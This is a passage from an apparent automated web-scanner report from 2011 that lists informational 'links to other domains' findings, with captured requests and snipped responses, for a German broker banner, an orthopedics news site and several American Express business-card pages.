Content-Length: 92195
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDQADSARBD=HCOFFMCCFJFNCBKOEFABHMCF; path=/
p3p: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:20:31 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<titl
...[SNIP]...
</style>

<script language="JavaScript" type="text/javascript" src="http://images.intellitxt.com/ast/demo_assets/swfobject.js"></script>
...[SNIP]...
</script>

<script language="JavaScript" type="text/javascript" src="http://images.intellitxt.com/ast/demo_assets/swfobject.js"></script>
...[SNIP]...
personal information or require any form of software to be downloaded to or uploaded from your computer. Learn more about how Vibrant In-Text Advertising is NOT spyware from a few third party sources: <a href="http://www.pchell.com/support/toptext.shtml" target="_blank">http://www.pchell.com/support/toptext.shtml</a> and IntelliTXT (IntelliText) - Ghost of TopText or Surf+ ?(<a href="http://www.scumware.com" target="_blank">www.scumware.com</a>
...[SNIP]...
<p><a href="http://intellitxt.com/opt_out/ch_optout.asp">Click here</a>
...[SNIP]...

20.214. http://www.whselfinvest.de/banner/whsbanner.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.whselfinvest.de
Path:	/banner/whsbanner.php

Issue detail

The page was loaded from a URL containing a query string:

http://www.whselfinvest.de/banner/whsbanner.php?zid=219&sid=60

The response contains the following link to another domain:

http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab

Request

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:26:16 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: PHP/5.2.1
Set-Cookie: whrefID=021d42e6a3df6add748e6d374ab146e8; expires=Mon, 06-Feb-2012 16:26:16 GMT; path=/
Content-type: text/html

if (ImageWHSArray219 == undefined){
var ImageWHSArray219 = new Array();
var sizeXWHSArray219 = new Array();
var sizeYWHSArray219 = new Array();
var typeWHSArray219 = new Array();
var LinkWHSArray219 =
...[SNIP]...
</a>");
ImageWHSArray219[RandomVal]='';
}
else
{
document.write("<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0' width='"+sizeXWHSArray219[RandomVal]+"' height='"+sizeYWHSArray219[RandomVal]+"'>")
document.write("<param name='movie' value='" + ImageWHSArray219[RandomVal]+ "?" + clickTagWHSArray219[RandomVal] + "'>
...[SNIP]...

20.215. http://www.wyanokeis.com/create.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.wyanokeis.com
Path:	/create.aspx

Issue detail

The page was loaded from a URL containing a query string:

http://www.wyanokeis.com/create.aspx?pid=19

The response contains the following links to other domains:

http://api.recaptcha.net/challenge?k=6LdElQkAAAAAAEJbVWV-AJz0M2s1hs5FDYlN05jF
http://api.recaptcha.net/noscript?k=6LdElQkAAAAAAEJbVWV-AJz0M2s1hs5FDYlN05jF
http://twitter.com/ORTHOSuperSite
http://www.efort.org/
http://www.facebook.com/pages/OrthoSuperSitecom/296664256434
http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en
http://www.orthosupersite.com/aboutus.aspx
http://www.orthosupersite.com/advertising.aspx
http://www.orthosupersite.com/archive.aspx
http://www.orthosupersite.com/blog.aspx
http://www.orthosupersite.com/calendar.aspx
http://www.orthosupersite.com/classifieds.aspx
http://www.orthosupersite.com/default.aspx
http://www.orthosupersite.com/iContent.aspx?pid=atshc
http://www.orthosupersite.com/iContent.aspx?pid=obj
http://www.orthosupersite.com/iContent.aspx?pid=ot
http://www.orthosupersite.com/iContent.aspx?pid=oti
http://www.orthosupersite.com/journals.aspx
http://www.orthosupersite.com/login.aspx
http://www.orthosupersite.com/newswire.aspx
http://www.orthosupersite.com/podium.aspx
http://www.orthosupersite.com/sectionContent.aspx?sid=101
http://www.orthosupersite.com/sectionContent.aspx?sid=253
http://www.orthosupersite.com/sectionContent.aspx?sid=45
http://www.orthosupersite.com/sectionContent.aspx?sid=46
http://www.orthosupersite.com/sectionContent.aspx?sid=47
http://www.orthosupersite.com/sectionContent.aspx?sid=48
http://www.orthosupersite.com/sectionContent.aspx?sid=49
http://www.orthosupersite.com/sectionContent.aspx?sid=50
http://www.orthosupersite.com/sectionContent.aspx?sid=51
http://www.orthosupersite.com/sectionContent.aspx?sid=52
http://www.orthosupersite.com/sectionContent.aspx?sid=53
http://www.orthosupersite.com/sectionContent.aspx?sid=54
http://www.orthosupersite.com/sectionContent.aspx?sid=55
http://www.orthosupersite.com/sectionContent.aspx?sid=57
http://www.orthosupersite.com/sectionContent.aspx?sid=69
http://www.orthosupersite.com/sectionContent.aspx?sid=70
http://www.orthosupersite.com/sectionContent.aspx?sid=72
http://www.orthosupersite.com/sectionContent.aspx?sid=74
http://www.orthosupersite.com/sectionContent.aspx?sid=75
http://www.orthosupersite.com/sectionContent.aspx?sid=76
http://www.orthosupersite.com/sectionContent.aspx?sid=79
http://www.orthosupersite.com/sectionContent.aspx?sid=82
http://www.orthosupersite.com/submit.aspx
http://www.orthosupersite.com/subscribe.aspx
http://www.orthosupersite.com/subscribe.aspx?sub=obj
http://www.orthosupersite.com/subscribe.aspx?sub=ot
http://www.orthosupersite.com/video.aspx
http://www.othawaii.com/default.asp?promoCode=987-78
http://www.slackbooks.com/orthopedics
http://www.slackinc.com/privacypolicy.asp
http://www.vindicomeded.com/ortho/default.asp
https://www.slackinc.com/reprints/order.asp
https://www.slackinc.com/subscribe/newsubs/atshcstep1.asp
https://www.slackinc.com/subscribe/newsubs/otistep1.asp

Request

GET /create.aspx?pid=19 HTTP/1.1
Host: www.wyanokeis.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:21:06 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=dtk3pz55wlpe0einmmq2fjb3; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 117852

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   Orthopedic News | ORTHOSuperSi
...[SNIP]...
<span style="float: left; position: relative; left: 0; top:33px;"><a href="http://www.orthosupersite.com/default.aspx"><img src="/images/layout/orthoss-logo-415px.gif" width="415" height="65" border="0" alt="ORTHOSuperSite" />
...[SNIP]...
<span class="balloon-btn"><a href="http://www.orthosupersite.com/iContent.aspx?pid=obj">Current Issue</a>
...[SNIP]...
<span class="balloon-btn btn-last"><a href="http://www.orthosupersite.com/subscribe.aspx?sub=obj">Subscribe</a>
...[SNIP]...
<span class="balloon-btn"><a href="http://www.orthosupersite.com/iContent.aspx?pid=ot">Current Issue</a>
...[SNIP]...
<span class="balloon-btn btn-last"><a href="http://www.orthosupersite.com/subscribe.aspx?sub=ot">Subscribe</a>
...[SNIP]...
<span class="balloon-btn"><a href="http://www.orthosupersite.com/iContent.aspx?pid=oti">Current Issue</a>
...[SNIP]...
<span class="balloon-btn"><a href="https://www.slackinc.com/subscribe/newsubs/otistep1.asp" target="_blank">Subscribe</a></span>
<a href="http://www.efort.org/" target="_blank"><img src="/images/publications/efort-logo.gif" alt="EFORT" style="border: 0pt none; margin: 3px 0; padding: 0;" width="80" height="90">
...[SNIP]...
<span class="balloon-btn"><a href="http://www.orthosupersite.com/iContent.aspx?pid=atshc">Current Issue</a>
...[SNIP]...
<span class="balloon-btn btn-last"><a href="https://www.slackinc.com/subscribe/newsubs/atshcstep1.asp" target="_blank">Subscribe</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/default.aspx">Home</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/blog.aspx">Blogs</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/newswire.aspx">News Wire</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/video.aspx">Multimedia</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/classifieds.aspx">Classified Marketplace</a>
...[SNIP]...
<li><a href="http://www.vindicomeded.com/ortho/default.asp" class="nav-last">CME Center</a>
...[SNIP]...
<input type="image" src="images/layout/search-btn.gif" width="15" height="15" id="go" alt="Search" title="Search" />

    <script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/calendar.aspx">Featured Meetings</a>
...[SNIP]...
<li><a href="http://www.othawaii.com/default.asp?promoCode=987-78" target=_blank id="ot-hawaii">OT Hawaii 2011</a>
...[SNIP]...
<li class="nav-last"><a href="http://www.efort.org/" target="_blank">EFORT</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=45">Arthritis</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=46">Arthroscopy</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=47">Biologics</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=50">Business of Orthopedics</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=79">Foot and Ankle</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=54">Hand/Upper Extremity</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=48">Hip</a></li>
                   <li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=253">Imaging</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=101">Infection</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=55">Knee</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=53">Oncology</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=49">Osteoporosis</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=75">Pediatrics</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=51">Rehabilitation</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=52">Shoulder/Elbow</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=76">Spine</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=82">Sports Medicine</a>
...[SNIP]...
<li class="nav-last"><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=74">Trauma</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=72">Commentary</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/archive.aspx">Cover Stories</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/podium.aspx">From the Podium</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/journals.aspx">In the Journals</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=57">Personalities</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=70">Round Table Discussions</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/sectionContent.aspx?sid=69">Surgical Techniques</a>
...[SNIP]...
<li><a href="http://www.slackbooks.com/orthopedics" target="_blank">Bookstore</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/classifieds.aspx">Classified Marketplace</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/submit.aspx">Manuscript Submission</a>
...[SNIP]...
<li><a href="https://www.slackinc.com/reprints/order.asp" target="_blank">Reprints</a>
...[SNIP]...
<li><a href="http://www.orthosupersite.com/subscribe.aspx">Subscribe</a>
...[SNIP]...
<img src="/images/layout/twitter-icon.png" alt="Twitter" style="float: left;" /><a href="http://twitter.com/ORTHOSuperSite" target="_blank">Follow us on Twitter</a>
...[SNIP]...
<img src="/images/layout/facebook-icon.png" alt="Facebook" style="float: left;" /><a href="http://www.facebook.com/pages/OrthoSuperSitecom/296664256434" target="_blank">Follow us on Facebook</a>
...[SNIP]...
</script><script type="text/javascript" src="http://api.recaptcha.net/challenge?k=6LdElQkAAAAAAEJbVWV-AJz0M2s1hs5FDYlN05jF">

</script><noscript>
       <iframe src="http://api.recaptcha.net/noscript?k=6LdElQkAAAAAAEJbVWV-AJz0M2s1hs5FDYlN05jF" width="500" height="300" frameborder="0">

       </iframe>
...[SNIP]...
</a>  |  
<a href="http://www.orthosupersite.com/login.aspx" class="grey10">Login</a>  |  
<a href="http://www.orthosupersite.com/aboutus.aspx#contact" class="grey10">Contact Us</a>  |  
<a href="http://www.orthosupersite.com/aboutus.aspx#help" class="grey10">Help</a>  |  
<a href="http://www.orthosupersite.com/advertising.aspx" class="grey10">Advertising Information</a>  |  
<a href="http://www.orthosupersite.com/aboutus.aspx" class="grey10">About Us</a>  |  
<a href="http://www.orthosupersite.com/subscribe.aspx" class="grey10">Subscriber Services</a>  |  
<a href="http://www.slackinc.com/privacypolicy.asp" class="grey10" target="_blank">Privacy Policy</a>
...[SNIP]...

20.216. http://www201.americanexpress.com/business-credit-cards/business-card-compare/business-travel-rewards-credit-cards/29789 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-card-compare/business-travel-rewards-credit-cards/29789

Issue detail

The page was loaded from a URL containing a query string:

http://www201.americanexpress.com/business-credit-cards/business-card-compare/business-travel-rewards-credit-cards/29789?inav=menu_cards_sbc_comparecards

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.membershiprewards.com/terms
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://fls.doubleclick.net/activityi;src=1297440;type=open;cat=trave989;ord=1;num=1?
https://survey.openvenue.com/cs/20002834/js/int_en82.js
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:41 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944501386119; path=/; expires=Tue, 09-Feb-16 22:21:41 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000q3QZbDYOcyvtP0PZminOCss:1115nbtvb;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Language: en-US
Content-Length: 200661

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<li>
<a title="" href="http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping" id="menu_rewards_shopping">Shopping Discounts</a>
...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
r your Eligible Spending reaches the $50,000 threshold amount. Bonus ID 2751. Terms and conditions for the Membership Rewards program apply. For more information or to enroll in the program, visit <a href="http://www.membershiprewards.com/terms">membershiprewards.com/terms</a>
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="Facebook - Link will open in a new window" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="Facebook - Link will open in a new window" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /
...[SNIP]...
</a> <a title="Twitter - Link will open in a new window" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="Twitter - Link will open in a new window" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="YouTube - Link will open in a new window" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="YouTube - Link will open in a new window" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...
</script>


    <script type="text/javascript" src="https://survey.openvenue.com/cs/20002834/js/int_en82.js"></script>
...[SNIP]...
<noscript><iframe src="https://fls.doubleclick.net/activityi;src=1297440;type=open;cat=trave989;ord=1;num=1?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...

20.217. http://www201.americanexpress.com/business-credit-cards/business-credit-cards previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-credit-cards

Issue detail

The page was loaded from a URL containing a query string:

http://www201.americanexpress.com/business-credit-cards/business-credit-cards?source=footer_small_business_credit_cards

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /business-credit-cards/business-credit-cards?source=footer_small_business_credit_cards HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:06 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944526253918; path=/; expires=Tue, 09-Feb-16 22:22:06 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000jBdnwwBIdq6h7xFaZaAfeuh:1115nbqmn;Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Set-Cookie: homepage=b;Expires=Sat, 12-Feb-2011 22:22:06 GMT
Cache-Control: no-cache="set-cookie,set-cookie2"
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 68666

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<li>
<a title="" href="http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping" id="menu_rewards_shopping">Shopping Discounts</a>
...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="Facebook - Link will open in a new window" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="Facebook - Link will open in a new window" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /
...[SNIP]...
</a> <a title="Twitter - Link will open in a new window" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="Twitter - Link will open in a new window" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="YouTube - Link will open in a new window" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="YouTube - Link will open in a new window" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...

20.218. http://www201.americanexpress.com/business-credit-cards/business-solutions/overview previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/business-solutions/overview

Issue detail

The page was loaded from a URL containing a query string:

http://www201.americanexpress.com/business-credit-cards/business-solutions/overview?inav=menu_business_openbizservices

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://americanexpresscards.tt.omtrdc.net/m2/americanexpresscards/ubox/page?mbox=open_aj_global&ajcc=fuel-hub-big-pitch&mboxPC=1288274258236-662223.17&mboxSession=1288383256872-14407&mboxXDomain=disabled&mboxDefault=http://www201.americanexpress.com/business-credit-cards/business-solutions/acceptpay&mboxURL=http://www201.americanexpress.com/business-credit-cards/business-solutions/overview
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping
http://static.atgsvcs.com/js/atgsvcs.js
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://fls.doubleclick.net/activityi;src=1297440;type=singl842;cat=acqui275;ord=1;num=1?
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum
https://www2.tmvtp.com/amex/us/event.php?page=FUEL_NEW_HUB&ref=explinksrc

Request

GET /business-credit-cards/business-solutions/overview?inav=menu_business_openbizservices HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:46 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944506633000; path=/; expires=Tue, 09-Feb-16 22:21:46 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000P_Vm8oHQDcksYHywAe_dEpT:1115nbtvb;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 40955

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<meta http-equiv
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<li>
<a title="" href="http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping" id="menu_rewards_shopping">Shopping Discounts</a>
